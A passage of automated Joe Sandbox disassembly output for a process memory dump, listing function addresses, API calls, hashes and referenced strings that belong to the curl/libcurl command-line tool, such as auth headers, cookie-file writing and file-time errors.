Proxy-authorization, xrefs: 00DF4B82
Authorization: Bearer %s, xrefs: 00DF4D64
%s:%s, xrefs: 00DF4BF7
NTLM, xrefs: 00DF4B42
Negotiate, xrefs: 00DF4B22
Server, xrefs: 00DF4CD5, 00DF4CF9
%s auth using %s with user '%s', xrefs: 00DF4CFA
Authorization:, xrefs: 00DF4D35
Bearer, xrefs: 00DF4D79

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 39653677-3980008082
Opcode ID: d64b480f628117b6759c585c97cc6d870ffc3278d3bcec644044fc12f99c0c32
Instruction ID: 2e8d5fca006eb6d1411296e67af21703789237453cd1277c4bd898ed7fc84387
Opcode Fuzzy Hash: d64b480f628117b6759c585c97cc6d870ffc3278d3bcec644044fc12f99c0c32
Instruction Fuzzy Hash: 5681CF70A04309AFE7205B25DC84B7772E4FB80305F098438EE998A296EB76DD54CBB1

Function 00DF192B Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 251filestringCOMMON

Download Yara Rule

APIs

time.MSVCRT(00000000), ref: 00DF1952
strcmp.MSVCRT ref: 00DF1A78
fopen.MSVCRT ref: 00DF1A8A
fwrite.MSVCRT ref: 00DF1B02
qsort.MSVCRT ref: 00DF1B9C

Strings

#HttpOnly_, xrefs: 00DF1BBB
# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00DF1AFD
FALSE, xrefs: 00DF1C0E
%s%s%s%s%s%s%I64d%s%s, xrefs: 00DF1C5C
TRUE, xrefs: 00DF1C09, 00DF1C2B, 00DF1C4A
unknown, xrefs: 00DF1BFC
%s, xrefs: 00DF1C74

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fopenfwriteqsortstrcmptime
String ID: # Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$#HttpOnly_$%s$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 489802191-4155909777
Opcode ID: 892a3942d833fa313100b17e8b03b85ae54921db0ada45e234e8a5869d3336fa
Instruction ID: 20a34811a92bf3feffb38f8fc468f6ac9c004f78972ed5ffed569aaee56edb57
Opcode Fuzzy Hash: 892a3942d833fa313100b17e8b03b85ae54921db0ada45e234e8a5869d3336fa
Instruction Fuzzy Hash: AA81E5B5A04304DFDB109F68D985A2BB7E0FF54304F09882CFA9997252E775DC50CBA6

Function 00DD1620 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 363filestringCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00DD166A
strchr.MSVCRT ref: 00DD1695
fputc.MSVCRT ref: 00DD1787
fputc.MSVCRT ref: 00DD17A2

Strings

%.0f, xrefs: 00DD1843
curl: unknown --write-out variable: '%s', xrefs: 00DD16E4
%ld, xrefs: 00DD1A25
%.6f, xrefs: 00DD1946
%03ld, xrefs: 00DD18C5
%.3f, xrefs: 00DD188B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fputc$fwritestrchr
String ID: %.0f$%.3f$%.6f$%03ld$%ld$curl: unknown --write-out variable: '%s'
API String ID: 3129928417-2797245882
Opcode ID: 693979874c5e452b19c8e852ce4c8f6466e39cb384a20c1ce3059e82f384d8bd
Instruction ID: f5d1a5664dcb69cb43bf2a7f093ef2d459ae848ffca63773d19c10fda47754c3
Opcode Fuzzy Hash: 693979874c5e452b19c8e852ce4c8f6466e39cb384a20c1ce3059e82f384d8bd
Instruction Fuzzy Hash: 0CB19EB9648305BAE710DE40CC51FBB7BACEB45780F18482BF9D992291E370D9589B73

Function 00DCD996 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD029F
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02B5
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02CB
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02E1
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02F7
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD030D
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0323
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0339

fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
fflush.MSVCRT ref: 00DCDCB1
_fileno.MSVCRT ref: 00DCDCC0
fseek.MSVCRT ref: 00DCDCF2
free.MSVCRT ref: 00DCE274

Strings

Transient problem: %s Will retry in %ld seconds. %ld retries left., xrefs: 00DCDC17
Throwing away %I64d bytes, xrefs: 00DCDC96
curl: Saved to filename '%s', xrefs: 00DCDB7A
CURLOPT_DISALLOW_USERNAME_IN_URL, xrefs: 00DCDA52
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS, xrefs: 00DCD9E4
RP7:, xrefs: 00DCDBB2
CURLOPT_TFTP_NO_OPTIONS, xrefs: 00DCD9AA
CURLOPT_HAPROXYPROTOCOL, xrefs: 00DCDA1B
\Z, xrefs: 00DCDB7F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strcmp$free$_close_filenofclosefflushfseek
String ID: CURLOPT_DISALLOW_USERNAME_IN_URL$CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS$CURLOPT_HAPROXYPROTOCOL$CURLOPT_TFTP_NO_OPTIONS$RP7:$Throwing away %I64d bytes$Transient problem: %s Will retry in %ld seconds. %ld retries left.$curl: Saved to filename '%s'$\Z
API String ID: 462954383-1622027912
Opcode ID: 74c2f8b38d9ec1251cdb32ddbbb9361726c93ec8b836c2ef90623a5a19d7fdf8
Instruction ID: 11f858622d8488ce14db2a6d3e0f7f2a53e1d87aa6cfa91d203bad4af8b7bc19
Opcode Fuzzy Hash: 74c2f8b38d9ec1251cdb32ddbbb9361726c93ec8b836c2ef90623a5a19d7fdf8
Instruction Fuzzy Hash: 8B917470608342AFEB249B54CD45F5AB7E6EFA4704F18883DF58897262E771DC50CB62

Function 00DD1370 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DD1386
malloc.MSVCRT ref: 00DD1394
memcpy.MSVCRT(00000000,00000001,00000001), ref: 00DD13CC
strtoul.MSVCRT ref: 00DD1420

Strings

%0*lu, xrefs: 00DD14F6
internal error: invalid pattern type (%d), xrefs: 00DD1594

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: mallocmemcpystrlenstrtoul
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 1264475146-449433499
Opcode ID: ed1ba1cd70ac696d505e9c28ea3c69c6e72faae314751145858dd1db63b73f89
Instruction ID: b58e56264c4ea0c84086855c8f92c79c62948a83b91e8773b5177eec6758aed7
Opcode Fuzzy Hash: ed1ba1cd70ac696d505e9c28ea3c69c6e72faae314751145858dd1db63b73f89
Instruction Fuzzy Hash: 1F51C5B9A08305BBDB10DF54D88166BB7E9EFA4344F08483EF98687301E775D9148772

Function 00DC3D30 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 82filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 00DC3D4E
GetFileTime.KERNEL32(00000000,00000000,00000000), ref: 00DC3D63
fwrite.MSVCRT ref: 00DC3D8E
GetLastError.KERNEL32 ref: 00DC3D98
GetLastError.KERNEL32 ref: 00DC3DAD
fprintf.MSVCRT ref: 00DC3DBA
GetLastError.KERNEL32 ref: 00DC3DCE
fprintf.MSVCRT ref: 00DC3DDB
CloseHandle.KERNEL32(00000000), ref: 00DC3E10

Strings

Failed to get filetime: CreateFile failed: GetLastError %u, xrefs: 00DC3DB4
Failed to get filetime: GetFileTime failed: GetLastError %u, xrefs: 00DC3DD5
Failed to get filetime: underflow, xrefs: 00DC3D89

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLast$Filefprintf$CloseCreateHandleTimefwrite
String ID: Failed to get filetime: CreateFile failed: GetLastError %u$Failed to get filetime: GetFileTime failed: GetLastError %u$Failed to get filetime: underflow
API String ID: 2990661452-2112902429
Opcode ID: c402bd84173a491dbe80ea62264d595d5ee840934982837a7dd2511d1997c14e
Instruction ID: ea6f6de3276677a65cb8f59062e2a3557d97a73a99cc05fccc0d0a10a61692d7
Opcode Fuzzy Hash: c402bd84173a491dbe80ea62264d595d5ee840934982837a7dd2511d1997c14e
Instruction Fuzzy Hash: 27218C727403017BE63025789C46F2A365DEB95731F284738F9B9DB2C1EAA29D018371

Function 00DDA7F0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DDA841
_errno.MSVCRT ref: 00DDA9E5
_errno.MSVCRT ref: 00DDABAA
strcpy.MSVCRT(?,?), ref: 00DDABBC
strlen.MSVCRT ref: 00DDAC02
strcpy.MSVCRT(?,?), ref: 00DDAC1A
strlen.MSVCRT ref: 00DDAC23
_errno.MSVCRT ref: 00DDAC41
_errno.MSVCRT ref: 00DDAC49

Strings

%d.%d.%d.%d, xrefs: 00DDA830, 00DDABF1
%lx, xrefs: 00DDAB63

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _errno$strlen$strcpy
String ID: %d.%d.%d.%d$%lx
API String ID: 4259186295-1067823383
Opcode ID: 006e67c373940c257d513465ce6f3bc865463e238e6a61246c7b8924fc6c1979
Instruction ID: 8a130102a0dd476a719d5cc1440cf3cf4e14b15f780b1d181d9d1cf5e5841318
Opcode Fuzzy Hash: 006e67c373940c257d513465ce6f3bc865463e238e6a61246c7b8924fc6c1979
Instruction Fuzzy Hash: ADB1F4316047519BDB245A6C8CD036E76C6AB81334F29C73EE8F6463D1E7788D468AB3

Function 01047B50 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 01047C69

Strings

Unknown pseudo relocation bit size %d., xrefs: 01047CF9
Unknown pseudo relocation protocol version %d., xrefs: 01047DC4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 692e53b267ab43d4649f4f9cda38a58a9e28becc7f82c2e1f46d6ab9d3cc7e5b
Instruction ID: 9ec4c8eb0512d36867bbbc9bbae9c07c1946e32577bb7f2545663d0e82f2acaf
Opcode Fuzzy Hash: 692e53b267ab43d4649f4f9cda38a58a9e28becc7f82c2e1f46d6ab9d3cc7e5b
Instruction Fuzzy Hash: F4A1C1B0A042018FDB24AF79C5C076DBBE0BF88324F258A7DE5D897385D3759881CB92

Function 00DC8FF0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DC8FFC
_strdup.MSVCRT ref: 00DC9021
free.MSVCRT ref: 00DC9037
free.MSVCRT ref: 00DC9051
strpbrk.MSVCRT ref: 00DC906F
malloc.MSVCRT ref: 00DC907D
strcspn.MSVCRT ref: 00DC90B6
strncpy.MSVCRT ref: 00DC90C7

Strings

pkcs11:, xrefs: 00DC900E

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcspnstrlenstrncpystrpbrk
String ID: pkcs11:
API String ID: 2132323148-2446828420
Opcode ID: 16a482f11a7a2faebc417a69c28e9976309bb891ed6fc532ecfd2cf81ff8e308
Instruction ID: 14eb0825314fae9f7c971bed2fce9831712f9ded54622f0c6a0c0604daf546b3
Opcode Fuzzy Hash: 16a482f11a7a2faebc417a69c28e9976309bb891ed6fc532ecfd2cf81ff8e308
Instruction Fuzzy Hash: 6451D6E0908357AFE7216AA89C99B7AFBD89B25740F1C043CECC587201F665ED40D7B2

Function 00DC3E30 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00DC3E62
CreateFileA.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000,?,?), ref: 00DC3E7F
SetFileTime.KERNEL32(00000000,00000000), ref: 00DC3EB6
GetLastError.KERNEL32 ref: 00DC3EC0
fprintf.MSVCRT ref: 00DC3ECF
CloseHandle.KERNEL32(00000000), ref: 00DC3ED8
GetLastError.KERNEL32 ref: 00DC3EE6
fprintf.MSVCRT ref: 00DC3EF5

Strings

Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u, xrefs: 00DC3EC9
Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u, xrefs: 00DC3EEF
Failed to set filetime %I64d on outfile: overflow, xrefs: 00DC3E5C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fprintf$ErrorFileLast$CloseCreateHandleTime
String ID: Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u$Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u$Failed to set filetime %I64d on outfile: overflow
API String ID: 1024183469-2649542943
Opcode ID: 3658af58890e282a43e1f0d8bd0a797870a6b06c9cad84f6f74708a02e38ab5a
Instruction ID: 7e3f73a123f603e672b1e4432d5ff675dacc636709c35b03313546bd4cd163d6
Opcode Fuzzy Hash: 3658af58890e282a43e1f0d8bd0a797870a6b06c9cad84f6f74708a02e38ab5a
Instruction Fuzzy Hash: DA113AB17043057BD6283A25AC4AF7F7D6CDF41755F06853CF999E6281E1A2A94083B1

Function 00DF0E80 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 493stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF0CF0: strlen.MSVCRT ref: 00DF0D2D

time.MSVCRT(00000000), ref: 00DF0EAF
strchr.MSVCRT ref: 00DF103A
strlen.MSVCRT ref: 00DF1072
strncmp.MSVCRT ref: 00DF1086
strlen.MSVCRT ref: 00DF110C
strlen.MSVCRT ref: 00DF111A
strlen.MSVCRT ref: 00DF1191
qsort.MSVCRT ref: 00DF132A

Strings

/, xrefs: 00DF1049
., xrefs: 00DF114C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$qsortstrchrstrncmptime
String ID: .$/
API String ID: 2091720637-2544594439
Opcode ID: 7ceed4116ddf22aac7d46961bbdda8df250859dbd050b54c1b1a53b32c5135ca
Instruction ID: 5a3b0874ce08140da4ee5f865ea2163b4c7ddf11bb7790968c820ac845f0554a
Opcode Fuzzy Hash: 7ceed4116ddf22aac7d46961bbdda8df250859dbd050b54c1b1a53b32c5135ca
Instruction Fuzzy Hash: 79F17AB4500205EFEB209F65DD85A2677A4BF44348F0D8438FE49C7255E73AE8A4CBB6

Function 01048DB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 01048DD7

Strings

-, xrefs: 01048F86
$, xrefs: 01048DD0

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _errno
String ID: $$-
API String ID: 2918714741-1949469437
Opcode ID: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction ID: 3fbd9d5ead88eac57abcdc630984d25025eb8a21d2dabdecffa3d67a7814587b
Opcode Fuzzy Hash: fa32aa11e73a4cf59672042418af996aee801304ed5de15bbe94572be34807f2
Instruction Fuzzy Hash: A761BFB06083418FD350AFA988C026EFBD2ABD5354F14CE7EEAD58B291E774D8418742

Function 00DCA603 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 122stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD0620: strlen.MSVCRT ref: 00DD063E
Part of subcall function 00DD0620: malloc.MSVCRT ref: 00DD064A
Part of subcall function 00DD0620: calloc.MSVCRT ref: 00DD066B
Part of subcall function 00DD0620: malloc.MSVCRT ref: 00DD095D

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
strcmp.MSVCRT ref: 00DCA63A
_strdup.MSVCRT(00000000), ref: 00DCE127
_strdup.MSVCRT(00000000), ref: 00DCE152
strcmp.MSVCRT ref: 00DCE18E
free.MSVCRT ref: 00DCE1D3
free.MSVCRT ref: 00DCE274
free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Part of subcall function 00DD1040: free.MSVCRT ref: 00DD1094
Part of subcall function 00DD1040: free.MSVCRT ref: 00DD10AF
Part of subcall function 00DD1040: free.MSVCRT ref: 00DD10CE

Strings

P"-, xrefs: 00DCE318

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
